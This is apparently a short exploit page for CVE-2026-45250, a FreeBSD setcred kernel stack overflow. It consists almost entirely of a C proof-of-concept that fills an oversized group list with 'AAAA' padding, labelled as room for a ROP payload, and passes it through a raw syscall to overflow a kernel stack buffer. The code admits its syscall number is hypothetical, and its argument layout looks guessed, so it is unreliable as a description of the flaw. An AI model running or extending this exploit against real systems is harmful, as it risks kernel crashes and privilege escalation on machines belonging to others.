CVE-2026-45250 FreeBSD setcred内核栈溢出漏洞

#include <stdio.h> #include <unistd.h> #include <sys/syscall.h> // Hypothetical syscall number for setcred based on CVE-2026-45250 #define SYS_setcred 560 int main() { printf("[*] CVE-2026-45250 PoC Trigger\n"); // Prepare a large list of supplementary groups to trigger the buffer overflow // The kernel stack buffer is fixed-size, sending a large list overflows it. long groups[1000]; // Fill the array with padding/ROP payload for(int i = 0; i < 1000; i++) { groups[i] = 0x41414141; // Placeholder data 'AAAA' } // Attempt to trigger the vulnerability // The vulnerability occurs because the copy happens before privilege check printf("[*] Calling setcred with oversized group list...\n"); long result = syscall(SYS_setcred, groups, 1000); if (result == 0) { printf("[+] System call returned successfully. If exploited, code execution may have occurred.\n"); } else { printf("[-] System call failed or returned error.\n"); } return 0; }